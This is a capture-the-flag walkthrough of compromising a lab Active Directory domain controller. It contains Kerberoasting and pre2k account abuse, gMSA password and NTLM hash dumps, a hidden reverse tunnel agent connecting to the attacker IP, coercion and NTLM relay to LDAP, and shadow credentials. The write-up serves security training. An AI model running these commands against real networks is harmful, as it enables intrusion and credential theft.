1 RECON
1.1 Info
Machine information:
As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&
1.2 Port Scan
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -PnResult:
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-03-01 08:19:50Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after: 2026-06-09T14:05:15
| MD5: 5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:36+00:00; +6h59m04s from scanner time.
443/tcp open https? syn-ack
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after: 2026-06-09T14:05:15
| MD5: 5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m04s from scanner time.
2179/tcp open vmrdp? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after: 2026-06-09T14:05:15
| MD5: 5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after: 2026-06-09T14:05:15
| MD5: 5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m04s from scanner time.
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc syn-ack Microsoft Windows RPC
49680/tcp open msrpc syn-ack Microsoft Windows RPC
49681/tcp open msrpc syn-ack Microsoft Windows RPC
49905/tcp open msrpc syn-ack Microsoft Windows RPC
49929/tcp open msrpc syn-ack Microsoft Windows RPC
49953/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 31063/tcp): CLEAN (Timeout)
| Check 2 (port 49819/tcp): CLEAN (Timeout)
| Check 3 (port 25056/udp): CLEAN (Timeout)
| Check 4 (port 17097/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m03s, deviation: 0s, median: 6h59m03s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-03-01T08:21:01
|_ start_date: N/AFull AD infrastructure exposed:
- Kerberos (88)
- LDAP / LDAPS (389/636)
- Global Catalog (3268/3269)
- SMB (445)
- DNS (53)
- RPC swarm (135 + high ports)
- WinRM (5985)
- IIS web server (80)
- AD Certificate Services CA present (issuer:
pirate-DC01-CA) - Message signing required on SMB
- Domain:
pirate.htb
With Netexec, use option --generate-hosts-file to generate a host file to avoid DNS problem when using LDAP or Kerberos protocols:
$ nxc smb $targetIp --generate-hosts-file ./hostsfile SMB 10.129.1.12 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) $ cat hostsfile 10.129.1.12 DC01.pirate.htb pirate.htb DC01
Import it to /etc/hosts.
1.3 AD Enumeration
1.3.1 Kerberos
From the previous scan, Port 88 (Kerberos) is open, with a significant time skew.
This host is not Kerberos-only — NTLM password authentication is still enabled, which remains common in real environments:
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' SMB 10.129.1.12 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.1.12 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!& $ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' LDAP 10.129.1.12 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.1.12 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& $ nxc winrm pirate.htb -u 'pentest' -p 'p3nt3st2025!&' WINRM 10.129.1.12 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) WINRM 10.129.1.12 5985 DC01 [-] pirate.htb\pentest:p3nt3st2025!&
LDAP signing is disabled on the DC (unlike SMB), making LDAP a potential relay target.
NTLM may still be restricted across parts of the domain, so it's best practice to prepare a working Kerberos setup in advance.
Attempting Kerberos authentication with NetExec (-k) fails:
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k SMB pirate.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB pirate.htb 445 DC01 [-] pirate.htb\pentest:p3nt3st2025!& KRB_AP_ERR_SKEW
This is expected:
Error Countermeasure:
KRB_AP_ERR_SKEWKerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using
faketime— as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.
First, generate a Kerberos configuration using NetExec:
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --generate-krb5-file ./krb5.conf SMB 10.129.1.12 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.1.12 445 DC01 [+] krb5 conf saved to: ./krb5.conf SMB 10.129.1.12 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=./krb5.conf SMB 10.129.1.12 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!& $ cat krb5.conf [libdefaults] dns_lookup_kdc = false dns_lookup_realm = false default_realm = PIRATE.HTB [realms] PIRATE.HTB = { kdc = dc01.pirate.htb admin_server = dc01.pirate.htb default_domain = pirate.htb } [domain_realm] .pirate.htb = PIRATE.HTB pirate.htb = PIRATE.HTB%
Export it to env:
export KRB5_CONFIG=./krb5.confThen use faketime, or our wrapper script ft.sh, to test Kerberos authentication:
$ ./ft.sh pirate.htb \ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k [*] Querying offset from: pirate.htb [*] faketime -f format: +25144.539157 25144.539157s [*] Running: nxc smb pirate.htb -u pentest -p p3nt3st2025!& -k SMB pirate.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB pirate.htb 445 DC01 [-] Error checking if user is admin on pirate.htb: The NETBIOS connection with the remote host timed out. SMB pirate.htb 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
Kerberos authentication now succeeds. This setup can be reused whenever Kerberos access is required.
1.3.2 LDAP
1.3.2.1 Users
Enumerating domain users:
$ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --users LDAP 10.129.1.12 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.1.12 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& LDAP 10.129.1.12 389 DC01 [*] Enumerated 7 domain users: pirate.htb LDAP 10.129.1.12 389 DC01 -Username- -Last PW Set- -BadPW- -Description- LDAP 10.129.1.12 389 DC01 Administrator 2025-06-08 07:32:36 0 Built-in account for administering the computer/domain LDAP 10.129.1.12 389 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain LDAP 10.129.1.12 389 DC01 krbtgt 2025-06-08 07:40:29 0 Key Distribution Center Service Account LDAP 10.129.1.12 389 DC01 a.white_adm 2026-01-15 16:36:34 0 LDAP 10.129.1.12 389 DC01 a.white 2025-06-08 12:33:01 0 LDAP 10.129.1.12 389 DC01 pentest 2025-06-09 06:40:23 0 LDAP 10.129.1.12 389 DC01 j.sparrow 2025-06-09 08:08:44 0
Interesting pair: a.white and a.white_adm.
1.3.2.2 Kerberoasting
Use --kerberoasting option from Netexec, with our Kerberos auth primitive:
$ ./ft.sh pirate.htb \ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k --kerberoasting output.txt [*] Querying offset from: pirate.htb [*] faketime -f format: +25144.553770 25144.553770s [*] Running: nxc ldap pirate.htb -u pentest -p p3nt3st2025!& -k --kerberoasting output.txt LDAP pirate.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP pirate.htb 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& LDAP pirate.htb 389 DC01 [*] Skipping disabled account: krbtgt LDAP pirate.htb 389 DC01 [*] Total of records returned 2 LDAP pirate.htb 389 DC01 [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-15 16:36:34.388000, lastLogon: 2025-06-0 9 09:03:37.380258 LDAP pirate.htb 389 DC01 $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$079af5eb4df00a0e07a51acf4635ecc6$82f180159c84976a3ad8de3f642488c22fb7fcbdddd cc292c112ffc9f361c51d034654a6cd6019b198a87484d32dbbac777d1a5fbe965c6f26c846a4b2a91f30c77519f9bd78d57f649a15d2edee5c2d9c3e3b4d6575812f2addc68950f941cb1b0af34baf87a35e45d9c5eeaf762c9a3974db9 [...snip...] LDAP pirate.htb 389 DC01 [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 07:48:41.1 08220, lastLogon: 2026-02-28 23:40:06.894421 LDAP pirate.htb 389 DC01 $krb5tgs$18$hostgmsa_adfs_prod.pirate.htb$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$f17a70a35c6fe699840bc9ed$25b5810cc26517d089fdf9053d390 9576e292d09bc044fa16c788136b[...snip...]
They are roastable but not crackable with rockyou.txt. In a CTF context, that usually signals a rabbit hole.
1.3.3 BloodHound
To uncover deeper attack paths, we turn to BloodHound.
First, collect AD data using bloodhound-python:
bloodhound-python \
-dc 'dc01.pirate.htb' -d 'pirate.htb' \
-u 'pentest' -p 'p3nt3st2025!&' \
-ns $targetIp --zip -c All Import the archive into BloodHound and start from the pentest user:

PENTEST → Domain Users → Authenticated Users
└── Pre-Windows 2000 Compatible AccessPre-Windows 2000 Compatible Access is a legacy group for NT-style queries. In modern domains it is usually benign — unless misconfigured.
BloodHound also reveals a potential attack path originating from a.white:

Before pursuing that route, we first need a path that extends beyond ADCS exploitation to reach the priviledged user a.white.
1.3.4 Port 80
Visiting http://pirate.htb just returns a default ISS page. However on DCs, web servers could be related to:
- AD CS web enrollment
- SharePoint-like services
Relevant case introduced in the DarkCorp writeup.
We will see what this is for in the root section.
2 USER
2.1 Pre2k
2.1.1 Pre-2K Permissions
As noted earlier, Pre-Windows 2000 Compatible Access (pre2k) is common in legacy environments and retained for compatibility in modern domains. It grants directory read permissions required by older NT systems.
Because this target still allows NTLM authentication (rather than Kerberos-only), its presence is expected.
However, the configuration here is excessively broad:

This is a textbook over-permissive Pre-Windows 2000 Compatible Access group: every authenticated principal (Authenticated Users, Domain Users, Domain Computers, and even administrative accounts) inherits these legacy permissions.
As a result, any domain account — including low-privileged users like pentest — gains extensive read access to AD objects (such as computer accounts) and attributes that modern ACLs would normally restrict.
For deeper background, see the relevant resources on Hacktag:

The Vintage writeup demonstrates a similar recon and exploitation path targeting pre2k.
2.1.2 Get MS01$
NetExec now includes a dedicated pre2k module (-M pre2k) for streamlined exploitation:
nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2kUsing Kerberos, we can also obtain TGTs for affected accounts:
$ ./ft.sh pirate.htb \ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k -M pre2k [*] Querying offset from: pirate.htb [*] faketime -f format: +25144.654913 25144.654913s [*] Running: nxc ldap pirate.htb -u pentest -p p3nt3st2025!& -k -M pre2k LDAP pirate.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP pirate.htb 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!& PRE2K pirate.htb 389 DC01 Pre-created computer account: MS01$ PRE2K pirate.htb 389 DC01 Pre-created computer account: EXCH01$ PRE2K pirate.htb 389 DC01 [+] Found 2 pre-created computer accounts. Saved to /home/Axura/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt PRE2K pirate.htb 389 DC01 [+] Successfully obtained TGT for [email protected] PRE2K pirate.htb 389 DC01 [+] Successfully obtained TGT for [email protected] PRE2K pirate.htb 389 DC01 [+] Successfully obtained TGT for 2 pre-created computer accounts. Saved to /home/Axura/.nxc/modules/pre2k/ccache $ for f in ~/.nxc/modules/pre2k/ccache/*.ccache; do klist "$f"; done Ticket cache: FILE:/home/Axura/.nxc/modules/pre2k/ccache/exch01.ccache Default principal: [email protected] Valid starting Expires Service principal 03/01/2026 02:29:49 03/01/2026 12:29:49 krbtgt/[email protected] renew until 03/02/2026 02:29:48 Ticket cache: FILE:/home/Axura/.nxc/modules/pre2k/ccache/ms01.ccache Default principal: [email protected] Valid starting Expires Service principal 03/01/2026 02:29:47 03/01/2026 12:29:47 krbtgt/[email protected] renew until 03/02/2026 02:29:46 $ cp /home/Axura/.nxc/modules/pre2k/ccache/* .
Confirm the classic vulnerability:
Pre-created computer accounts with known default passwords
We effectively gain control of two machine accounts — MS01$ and EXCH01$ — whose passwords match their account names (without the trailing $).
2.2 gMSA
2.2.1 ReadGMSAPassword
The following exploit path is then very clear:

We can leverage readGMSAPassword to compromise GMSA_ADFS_Prod$ for remote logon on the target machine.
Again, you can find relevant writeups on how to exploit ReadGMSAPassword in various ways via Hacktag searching:

2.2.2 Get GMSA_ADFS_PROR$
With the Netexec --gmsa flag:
./ft.sh pirate.htb \
nxc ldap pirate.htb -u 'MS01$' -p 'ms01' --gmsa -kResult:
$ ./ft.sh pirate.htb \ nxc ldap pirate.htb -u 'MS01$' -p 'ms01' --gmsa -k [*] Querying offset from: pirate.htb [*] faketime -f format: +25144.614841 25144.614841s [*] Running: nxc ldap pirate.htb -u MS01$ -p ms01 --gmsa -k LDAP pirate.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP pirate.htb 389 DC01 [+] pirate.htb\MS01$:ms01 LDAP pirate.htb 389 DC01 [*] Getting GMSA Passwords LDAP pirate.htb 389 DC01 Account: gMSA_ADCS_prod$ NTLM: 304106f739822ea2ad8ebe23f802d078 PrincipalsAllowedToReadPassword: Domain Secure Servers LDAP pirate.htb 389 DC01 Account: gMSA_ADFS_prod$ NTLM: 8126756fb2e69697bfcb04816e685839 PrincipalsAllowedToReadPassword: Domain Secure Servers
2.3 Coerce Vulnerability
2.3.1 Internal Enumeration
After gaining access, we inspect the internal network:
*Evil-WinRM* PS C:\temp> ipconfig Windows IP Configuration Ethernet adapter vEthernet (Switch01): Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8 IPv4 Address. . . . . . . . . . . : 192.168.100.1 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Ethernet0 2: Connection-specific DNS Suffix . : .htb IPv4 Address. . . . . . . . . . . : 10.129.1.12 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 10.129.0.1
Next, scan the intranet 192.168.100.1/24 using fscan:
*Evil-WinRM* PS C:\temp> .\fscan.exe -h 192.168.100.1/24 -nobr -nopoc (icmp) Target 192.168.100.1 is alive (icmp) Target 192.168.100.2 is alive [*] Icmp alive hosts len is: 2 192.168.100.1:88 open 192.168.100.2:808 open 192.168.100.2:445 open 192.168.100.1:445 open 192.168.100.2:443 open 192.168.100.2:139 open 192.168.100.1:139 open 192.168.100.2:135 open 192.168.100.2:80 open 192.168.100.1:135 open [*] alive ports len is: 10 start vulscan [*] NetInfo [*]192.168.100.1 [->]DC01 [->]192.168.100.1 [->]10.129.1.12 [*] NetInfo [*]192.168.100.2 [->]WEB01 [->]192.168.100.2 [*] WebTitle http://192.168.100.2 code:200 len:703 title:IIS Windows Server
A second host appears: WEB01 at 192.168.100.2.
2.3.2 Tunneling
We use ligolo-ng for pivoting.
On the attacker side (proxy server), create the interface and route:
$ sudo ./proxy -selfcert INFO[0000] Loading configuration file ligolo-ng.yaml WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! INFO[0000] Listening on 0.0.0.0:11601 __ _ __ / / (_)___ _____ / /___ ____ ____ _ / / / / __ `/ __ \/ / __ \______/ __ \/ __ `/ / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / /_____/_/\__, /\____/_/\____/ /_/ /_/\__, / /____/ /____/ Made in France ♥ by @Nicocha30! Version: 0.8.2 ligolo-ng » ifcreate --name ligolo INFO[0016] Creating a new ligolo interface... INFO[0016] Interface created! ligolo-ng » route_add --name ligolo --route 192.168.100.1/24 INFO[0048] Route created.
Upload the agent to the compromised host and connect back to the proxy:
*Evil-WinRM* PS C:\temp> upload ../../../hacktools/port4ward/ligolo-ng/agent.exe Info: Uploading /home/Axura/ctf/HTB/pirate/../../../hacktools/port4ward/ligolo-ng/agent.exe to C:\temp\agent.exe Data: 8925864 bytes of 8925864 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\temp> Start-Process -FilePath ".\agent.exe" -ArgumentList "-connect 10.10.12.47:11601 -ignore-cert" -WindowStyle Hidden
Once the agent registers, start the tunnel from the proxy:
[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » INFO[0171] Agent joined. id=00155d0bd000 name="PIRATE\\gMSA_ADFS_prod$@DC01" remote="10.129.1.12:62218" WARN[0171] Agent 00155d0bd000 is already running, skipping recovery. [Agent : PIRATE\gMSA_ADFS_prod$@DC01] » session ? Specify a session : 1 - PIRATE\gMSA_ADFS_prod$@DC01 - 10.129.1.12:62213 - 00155d0bd000 [Agent : PIRATE\gMSA_ADFS_prod$@DC01] » start INFO[0193] Starting tunnel to PIRATE\gMSA_ADFS_prod$@DC01 (00155d0bd000)
The latest ligolo-ng release has a bug. If tunnel startup fails with:
Errortun.New device or resource busyTo fix this, remove the just created interface on Linux OS first:
Bashsudo ip link delete ligoloThen run
startagain in the proxy server to restart the tunnel.
We now have direct access to the target's 192.168.100.1/24 network from the attacker machine:
$ ping 192.168.100.2 -c 4 PING 192.168.100.2 (192.168.100.2) 56(84) bytes of data. 64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=498 ms 64 bytes from 192.168.100.2: icmp_seq=2 ttl=64 time=502 ms 64 bytes from 192.168.100.2: icmp_seq=3 ttl=64 time=696 ms 64 bytes from 192.168.100.2: icmp_seq=4 ttl=64 time=529 ms --- 192.168.100.2 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3000ms rtt min/avg/max/mdev = 497.810/556.103/695.801/81.518 ms
2.3.3 Vulnerability Scanning
Add the discovered host to /etc/hosts:
192.168.100.2 WEB01.pirate.htbBegin a fresh recon cycle against this new target.
Using NetExec modules, we check common NTLM-related weaknesses:
# Scan DC01
nxc smb DC01.pirate.htb\
-u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
-M ntlm_reflection -M coerce_plus
# Scan WEB01
nxc smb WEB01.pirate.htb\
-u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
-M ntlm_reflection -M coerce_plusJackpot:
$ nxc smb DC01.pirate.htb\ -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \ -M ntlm_reflection -M coerce_plus SMB 10.129.1.12 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.129.1.12 445 DC01 [+] pirate.htb\gMSA_ADFS_prod$:8126756fb2e69697bfcb04816e685839 COERCE_PLUS 10.129.1.12 445 DC01 VULNERABLE, DFSCoerce COERCE_PLUS 10.129.1.12 445 DC01 VULNERABLE, PetitPotam COERCE_PLUS 10.129.1.12 445 DC01 VULNERABLE, PrinterBug COERCE_PLUS 10.129.1.12 445 DC01 VULNERABLE, PrinterBug COERCE_PLUS 10.129.1.12 445 DC01 VULNERABLE, MSEven $ nxc smb WEB01.pirate.htb\ -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \ -M ntlm_reflection -M coerce_plus SMB 192.168.100.2 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None) SMB 192.168.100.2 445 WEB01 [+] pirate.htb\gMSA_ADFS_prod$:8126756fb2e69697bfcb04816e685839 COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PetitPotam COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PrinterBug COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, PrinterBug COERCE_PLUS 192.168.100.2 445 WEB01 VULNERABLE, MSEven
Both machines are coercable. But only WEB01 has NO SMB signing, which means we can relay the NTLM auth from there.
SMB signing enforces integrity on the NTLM session. So NTLM relay to SMB on DC01 is blocked , while LDAP relay remains open where we found in section 1.3.1.
This means we can relay SMB auth (NTLM) from WEB01, to LDAP on DC01.
2.3.4 Relaying Attack
We've covered coercion and relaying attacks extensively in earlier writeups, especially Mist and Signed:

A coercion vulnerability is:
A flaw that lets an attacker force a Windows machine to authenticate to a target they control.
In short, we make the victim initiate the connection.
First, start a listener — the relay station — using ntlmrelayx from Impacket:
ntlmrelayx.py -t ldap://DC01.pirate.htb -i \
--delegate-access \
-smb2support \
--remove-micWe relay authentication to DC01's LDAP service, which we already know lacks signing (see section 1.3.1).
Without
--remove-mic, we'll encounter:Error[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)Because
gMSA_ADFS_prod$is a machine account, in this case it can modify its own attributes. The--remove-micoption strips the NTLM MIC, bypassing integrity enforcement and allowing SMB→LDAP relay.
With the relay server running, trigger coercion using NetExec:
nxc smb WEB01.pirate.htb \
-u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
-M coerce_plus \
-o LISTENER="$attackerIp"As the man-in-the-middle, we capture WEB01$ authentication from WEB01:
# ntlmrelayx.py -t ldap://DC01.pirate.htb -i \ --delegate-access \ -smb2support \ --remove-mic Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client SMTP loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client WINRMS loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client DCSYNC loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Setting up WinRM (HTTP) Server on port 5985 [*] Setting up WinRMS (HTTPS) Server on port 5986 [*] Setting up RPC Server on port 135 [*] Setting up MSSQL Server on port 1433 [*] Setting up RDP Server on port 3389 [*] Multirelay disabled [*] Servers started, waiting for connections [*] (SMB): Received connection from 10.129.1.12, attacking target ldap://DC01.pirate.htb [*] (SMB): Authenticating connection from PIRATE/[email protected] against ldap://DC01.pirate.htb SUCCEED [1] [*] ldap://PIRATE/[email protected] [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/WEB01$ [*] (SMB): Received connection from 10.129.1.12, attacking target ldap://DC01.pirate.htb [*] (SMB): Authenticating connection from PIRATE/[email protected] against ldap://DC01.pirate.htb SUCCEED [2] [*] ldap://PIRATE/[email protected] [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as PIRATE/WEB01$
The coerced authentication is successfully relayed to LDAP on DC01. Connect to the spawned shell:
$ nc 127.0.0.1 11000 Type help for list of commands # whoami u:PIRATE\WEB01$
LDAP shell as WEB01$.
2.3.5 Shadow Credential Attack
With LDAP control on the DC, the ability to modify in-scope MS objects and attributes, we can perform a Shadow Credentials attack directly from the shell (see Mist):
clear_shadow_creds WEB01$
set_shadow_creds WEB01$Result:
# clear_shadow_creds WEB01$ Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102 Shadow credentials cleared successfully! # set_shadow_creds WEB01$ Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102 KeyCredential generated with DeviceID: 22fd1ac2-675c-4b03-8687-a631bf1ce917 Shadow credentials successfully added! Saved PFX (#PKCS12) certificate & key at path: h2Uk7wGg.pfx Must be used with password: rXii5efEQhO6XFOKTNqg
Keep the shell for we will still use this in section 4.2.1.
2.3.6 Pass-The-Certificate
Decrypt the generated shadow credential using certipy:
certipy cert \
-pfx <encrypted_cert> \
-password <passowrd> \
-export \
-out <decrypted_cert>Result:
$ mv /home/Axura/hacktools/impacket/examples/h2Uk7wGg.pfx . $ export PASS=rXii5efEQhO6XFOKTNqg $ certipy cert -pfx *.pfx -password "$PASS" -export -out web01.pfx Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Data written to 'web01.pfx'
Authenticate with the decrypted certificate:
./ft.sh pirate.htb \
certipy auth \
-pfx <decrypted_cert> \
-u <username> \
-domain <domain_name> \
-dc-ip <dc_ip> \
-debug Retrieved user NT hash and TGT:
$ ./ft.sh pirate.htb \ certipy auth \ -pfx web01.pfx \ -u 'WEB01$' \ -domain PIRATE.HTB \ -dc-ip "$targetIp" \ -debug [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.604095 25200.604095s [*] Running: certipy auth -pfx web01.pfx -u WEB01$ -domain PIRATE.HTB -dc-ip 10.129.1.12 -debug Certipy v5.0.4 - by Oliver Lyak (ly4k) [+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations [+] Nameserver: '10.129.1.12' [+] DC IP: '10.129.1.12' [+] DC Host: '' [+] Target IP: '10.129.1.12' [+] Remote Name: '10.129.1.12' [+] Domain: '' [+] Username: 'WEB01$' [*] Certificate identities: [*] No identities found in this certificate [!] Could not find identity in the provided certificate [*] Using principal: '[email protected]' [*] Trying to get TGT... [+] Sending AS-REQ to KDC pirate.htb (10.129.1.12) [*] Got TGT [*] Saving credential cache to 'web01.ccache' [+] Attempting to write data to 'web01.ccache' [+] Data written to 'web01.ccache' [*] Wrote credential cache to 'web01.ccache' 